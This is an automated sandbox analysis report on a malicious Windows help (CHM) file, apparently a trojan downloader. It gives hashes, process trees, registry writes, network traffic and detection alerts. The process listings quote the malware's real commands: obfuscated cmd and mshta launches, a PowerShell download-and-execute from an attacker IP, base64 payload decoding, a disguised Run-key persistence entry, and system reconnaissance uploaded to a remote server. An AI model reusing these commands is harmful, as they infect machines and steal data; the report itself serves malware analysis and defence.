File name:

1.CHM

Full analysis: https://app.any.run/tasks/dfd213d1-bad3-4b6b-9eb5-26a23a16f73e
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: December 27, 2018, 20:08:13
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
opendir
Indicators:
MIME: application/octet-stream
File info: MS Windows HtmlHelp Data
MD5:

37E1BE30D9B3BA5FD06777608FEBB189

SHA1:

EDAF75C6B649C48EC1CA78156BB49503B6183C38

SHA256:

FF8B4CEB6B27A339C8CE0EE949F569CFE285D55366DC8763DB69E87FA0815DAB

SSDEEP:

96:c3LF/NqIziegcDUD7INY3GOn8xmmlqYJUx3qlnMWpiD:YLDaegd8O3G8OJUx6lnMui

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 3148)
      • schtasks.exe (PID: 2740)

    • Uses Task Scheduler to run other applications

      • hh.exe (PID: 2992)
      • cmd.exe (PID: 2476)

    • Application was dropped or rewritten from another process

      • cmd.exe (PID: 2476)
      • tkvakvmc.com (PID: 3896)
      • tkvakvmc.com (PID: 2304)
      • cmd.exe (PID: 920)
      • tkvakvmc.com (PID: 2772)
      • tkvakvmc.com (PID: 3204)
      • tkvakvo.com (PID: 2664)
      • cmd.exe (PID: 3308)
      • cmd.exe (PID: 2332)
      • cmd.exe (PID: 2824)
      • cmd.exe (PID: 360)
      • cmd.exe (PID: 3128)
      • cmd.exe (PID: 3448)

    • Changes the autorun value in the registry

      • reg.exe (PID: 3428)

  • SUSPICIOUS

    • Reads internet explorer settings

      • hh.exe (PID: 2992)

    • Starts application with an unusual extension

      • cmd.exe (PID: 3448)
      • cmd.exe (PID: 920)
      • powershell.exe (PID: 2292)

    • Executable content was dropped or overwritten

      • cmd.exe (PID: 3448)
      • cmd.exe (PID: 920)
      • tkvakvo.com (PID: 2664)
      • powershell.exe (PID: 2292)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 2476)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 584)
      • tkvakvo.com (PID: 2664)

    • Executes PowerShell scripts

      • tkvakvmc.com (PID: 2304)

    • Creates files in the user directory

      • cmd.exe (PID: 3448)
      • powershell.exe (PID: 2292)
      • cmd.exe (PID: 3308)

    • Uses TASKLIST.EXE to query information about running processes

      • cmd.exe (PID: 3308)

    • Uses IPCONFIG.EXE to discover IP address

      • cmd.exe (PID: 3128)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 360)

    • Connects to server without host name

      • tkvakvo.com (PID: 2664)

    • Creates files in the program directory

      • tkvakvo.com (PID: 2664)

    • Reads Internet Cache Settings

      • powershell.exe (PID: 2292)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 584)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.chi | Windows HELP Index (81)
.chm | Windows HELP File (18.9)

EXIF

EXE

CHMVersion: 3
LanguageCode: English (U.S.)
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
64
Monitored processes
23
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start hh.exe no specs schtasks.exe no specs cmd.exe no specs mshta.exe schtasks.exe no specs cmd.exe tkvakvmc.com no specs tkvakvmc.com no specs powershell.exe tkvakvo.com cmd.exe tkvakvmc.com no specs tkvakvmc.com no specs cmd.exe no specs tasklist.exe no specs cmd.exe no specs qwinsta.exe no specs cmd.exe no specs ipconfig.exe no specs cmd.exe no specs hostname.exe no specs cmd.exe no specs reg.exe

Process information

PID
CMD
Path
Indicators
Parent process
360"C:\Windows\System32\cmd.exe" /C REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Misrocoft UpgradeNetWork" /t REG_SZ /d "C:\PROGRAMDATA\{1C9B74E8-8D808CA8-7B153D20-ADBCF818-13AD8C88}\lsess.exe" /fC:\Windows\System32\cmd.exe—tkvakvo.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
584C:\Windows\System32\mshta Http://146.0.77.104/mnms C:\Windows\System32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
920"C:\Windows\System32\cmd.exe" /c copy C:\\Windows\\System32\\cmd.exe "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvmc.com" && echo 1 >> "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvmc.com" & "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvmc.com" /c &&Set slsllslw= -Encoding&& Set ski= Byte&& Set ddast=ass &&Set ssass=-exec byp&& Set ddas= -c && Set ssas=ect System.Net.WebClie&& Set par5=nt).D%ALLUSERSPROFILE:~5,1%wnl%ALLUSERSPROFILE:~5,1%&& Set slsllslwttttt=adfile & "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvmc.com" /c C:\\Windows\\SYsWOW64\\WiNDOWSPO^Wer^ShELl\\v1.0\\poW^Ers^heLl.ExE %ssass%%ddast% %ddas% $l = (New-Object System.Net.WebClient).DownloadString('http://146.0.77.104/adds'); IEX $l; $sr=Get-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\kgHBA81SP01.tmp"; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvo.com" $sv; Start-Process -FilePath "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvo.com"C:\Windows\System32\cmd.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1320hostname C:\Windows\system32\HOSTNAME.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Hostname APP
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\hostname.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ws2_32.dll
2204qwinsta C:\Windows\system32\qwinsta.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Query Session Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\qwinsta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winsta.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\utildll.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2292C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\poWErsheLl.ExE -exec bypass -c $l = (New-Object System.Net.WebClient).DownloadString('http://146.0.77.104/adds'); IEX $l; $sr=Get-Content -Encoding Byte "C:\Users\admin\AppData\Roaming\\SunInternals\\kgHBA81SP01.tmp"; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content -Encoding Byte "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvo.com" $sv; Start-Process -FilePath "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvo.com"C:\Windows\System32\WiNDOWSPOWerShELl\v1.0\powershell.exe
tkvakvmc.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2304"C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvmc.com" /c C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\poWErsheLl.ExE %ssass%%ddast% %ddas% $l = (New-Object System.Net.WebClient).DownloadString('http://146.0.77.104/adds'); IEX $l; $sr=Get-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\kgHBA81SP01.tmp"; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %slsllslw% %ski% "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvo.com" $sv; Start-Process -FilePath "C:\Users\admin\AppData\Roaming\\SunInternals\\tkvakvo.com"C:\Users\admin\AppData\Roaming\SunInternals\tkvakvmc.com—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\users\admin\appdata\roaming\suninternals\tkvakvmc.com
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2332"C:\Windows\System32\cmd.exe" /C qwinsta >> C:\Users\admin\AppData\Roaming\Setting_info.iniC:\Windows\System32\cmd.exe—tkvakvo.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2476C:\Windows\System32\cmd.exe /c st%ALLUSERSPROFILE:~8,1%rt C:\Windows\System32\msht%ALLUSERSPROFILE:~8,1% H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.77.104/%ALLUSERSPROFILE:~9,1%n%ALLUSERSPROFILE:~9,1%s && schtasks.exe /delete /tn 4 /fC:\Windows\System32\cmd.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2664"C:\Users\admin\AppData\Roaming\SunInternals\tkvakvo.com" C:\Users\admin\AppData\Roaming\SunInternals\tkvakvo.com
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Print driver host update
Exit code:
0
Version:
6.1.7601.17777
Modules
Images
c:\users\admin\appdata\roaming\suninternals\tkvakvo.com
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
Total events
949
Read events
847
Write events
102
Delete events
0

Modification events

(PID) Process:(2992) hh.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2992) hh.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(584) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(584) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(584) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(584) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(2292) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
Executable files
6
Suspicious files
2
Text files
6
Unknown types
2

Dropped files

PID
Process
Filename
Type
2992hh.exeC:\Users\admin\AppData\Local\Temp\IMT2E14.tmp —
MD5:—
SHA256:—
2992hh.exeC:\Users\admin\AppData\Local\Temp\~DFB76A74D43A8F4D66.TMP —
MD5:—
SHA256:—
2992hh.exeC:\Users\admin\AppData\Local\Temp\~DF05302D8881602CFC.TMP —
MD5:—
SHA256:—
2292powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KL0KZ2GU6V955PEEBUQX.temp —
MD5:—
SHA256:—
920cmd.exeC: —
MD5:—
SHA256:—
584mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\mnms[1]html
MD5:—
SHA256:—
3448cmd.exeC:\Users\admin\AppData\Roaming\SunInternals\tkvakvmc.comexecutable
MD5:—
SHA256:—
2292powershell.exeC:\Users\admin\AppData\Roaming\SunInternals\tkvakvo.comexecutable
MD5:—
SHA256:—
2292powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2165fc.TMPbinary
MD5:—
SHA256:—
2292powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
5
DNS requests
2
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2292
powershell.exe
GET
200
146.0.77.104:80
http://146.0.77.104/bvvk
NL
text
159 Kb
malicious
2664
tkvakvo.com
POST
200
146.0.77.112:80
http://146.0.77.112/a/logs/logpc.php
NL
text
64 b
suspicious
2664
tkvakvo.com
GET
200
146.0.77.112:80
http://146.0.77.112/a/getsi.php?tx=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk=
NL
text
9 b
suspicious
2664
tkvakvo.com
GET
200
146.0.77.112:80
http://146.0.77.112/a/getsi.php?tx=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk=
NL
text
9 b
suspicious
584
mshta.exe
GET
200
146.0.77.104:80
http://146.0.77.104/mnms
NL
html
2.58 Kb
malicious
2292
powershell.exe
GET
200
146.0.77.104:80
http://146.0.77.104/adds
NL
text
7.67 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
584
mshta.exe
146.0.77.104:80
—
Hostkey B.v.
NL
malicious
2292
powershell.exe
146.0.77.104:80
—
Hostkey B.v.
NL
malicious
2664
tkvakvo.com
146.0.77.112:80
—
Hostkey B.v.
NL
suspicious

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
584
mshta.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader MacroLoader MSOffice
584
mshta.exe
A Network Trojan was detected
MALWARE [PTsecurity] PowerShell.Downloader httpHeader
2292
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2292
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2292
powershell.exe
A Network Trojan was detected
ET TROJAN Windows executable base64 encoded
2292
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable base64 Payload
584
mshta.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious PowerShell download command
2664
tkvakvo.com
A Network Trojan was detected
ET INFO Suspicious Possible Process Dump in POST body
2664
tkvakvo.com
A Network Trojan was detected
ET TROJAN Windows qwinsta Microsoft Windows DOS prompt command exit OUTBOUND
2664
tkvakvo.com
A Network Trojan was detected
SC SPYWARE Generic spyware via http body, process list uploading
Process
Message
tkvakvo.com
------qwerty Content-Disposition: form-data; name="log_info" c5405f7e ------qwerty Content-Disposition: form-data; name="file"; filename="C:\Users\admin\AppData\Roaming\Setting_info.ini"; Content-Type: application/octet-stream Content-Transfer-Encoding: binary
tkvakvo.com
<input type="hidden" name="MAX_FILE_SIZE" value="130000000">
tkvakvo.com
ê.?Yy’ì rI™Þ'ò¾žÎžl`'6l„ÂVåßžÛGOý5ú-ñx›ß@fòÅb@jœ"‹'þúË@…ù¨ƒî)
tkvakvo.com
%ea.%3f%59%79%92%ec%a0%72%49%99%de%27%f2%be%9e%ce%9e%81%6c%60%27%19%36%6c%84%c2%56%e5%df%9e%db%47%4f%fd%35%fa-%90%f1%8f%78%9b%df%40%66%f2%c5%62%40%6a%9c%22%8b%27%fe%11%fa%cb%40%85%f9%a8%83%ee%29
tkvakvo.com
/a/getsi.php?tx=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk=